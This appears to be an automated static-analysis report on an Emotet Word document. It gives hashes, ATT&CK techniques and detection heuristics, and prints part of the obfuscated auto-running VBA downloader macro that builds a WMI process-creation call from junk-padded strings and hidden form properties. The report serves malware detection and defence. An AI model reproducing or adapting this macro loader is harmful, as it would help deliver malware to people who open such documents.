Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 01b3967a1f0caf5b…

MALICIOUS

Office (OLE)

232.6 KB Created: 2020-08-14 21:43:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: af968bf75decb7c96975398a1718a5d3 SHA-1: 2a70d1c769c01e97b67a1f524091446eff795d64 SHA-256: 01b3967a1f0caf5ba5cde29d4a3a68febd3fc89e60f978495cdef08afd0c541e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. The heuristics indicate a hidden command stager using UserForm properties and CreateObject, suggesting it's designed to download and execute a secondary payload. ClamAV detection further confirms its malicious nature as Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9348583-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9348583-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7690 bytes
SHA-256: 34c0de223fb155b200470dd74532eb17cc8088993a15437bad69cdda5f3fc0cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xqql4iby70uc2f31q"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ajjprsmip5n.Imq2r0sgve2o
End Sub


Attribute VB_Name = "Ajjprsmip5n"
Attribute VB_Base = "0{E24CEEFF-4D5A-4E93-B81F-A0F5B41124E9}{77D30B1D-08DA-407E-BDFA-1DDA97F67293}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Imq2r0sgve2o()
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ovs0j8tga57 = Ovs0j8tga57 + 8: DoEvents
Loop
Was2stblbtvn = Ajjprsmip5n.HelpContextId + 100
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ovs0j8tga57 = Ovs0j8tga57 + 8: DoEvents
Loop
Knwx0ilgcqbcj43jg = ChrW(Was2stblbtvn + (100 + 35) / 9)
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ovs0j8tga57 = Ovs0j8tga57 + 8: DoEvents
Loop
Btysw03zbktzj9 = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Knwx0ilgcqbcj43jg + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Ajjprsmip5n.Jl84gr65_jxa5osvm + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ovs0j8tga57 = Ovs0j8tga57 + 8: DoEvents
Loop
Mnac67ymutcsk = Djbrnlzjv63u_mve(Btysw03zbktzj9)
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ovs0j8tga57 = Ovs0j8tga57 + 8: DoEvents
Loop
Set T8gga5q985cm528d8 = CreateObject(Mnac67ymutcsk)
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ovs0j8tga57 = Ovs0j8tga57 + 8: DoEvents
Loop
Culonl8tvgg51tv = Ajjprsmip5n.Lxlkdq9izdg_.ControlTipText
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ovs0j8tga57 = Ovs0j8tga57 + 8: DoEvents
Loop
S702bwrxw0gj = Gz6_0mp0o7i + (Mnac67ymutcsk + Knwx0ilgcqbcj43jg + Ajjprsmip5n.Mjpw4mjj7e8x.ControlTipText + Culonl8tvgg51tv)
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ovs0j8tga57 = Ovs0j8tga57 + 8: DoEvents
Loop
E9298p5z3t9x_013g5 = S702bwrxw0gj + Ajjprsmip5n.Jl84gr65_jxa5osvm
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ovs0j8tga57 = Ovs0j8tga57 + 8: DoEvents
Loop
Set Qlw8fw7g5x9dmxd = W1191hjhnid__qj9(E9298p5z3t9x_013g5)
   Ovs0j8tga57 = 4
Do While Ovs0j8tga57 < 4 + 3

... (truncated)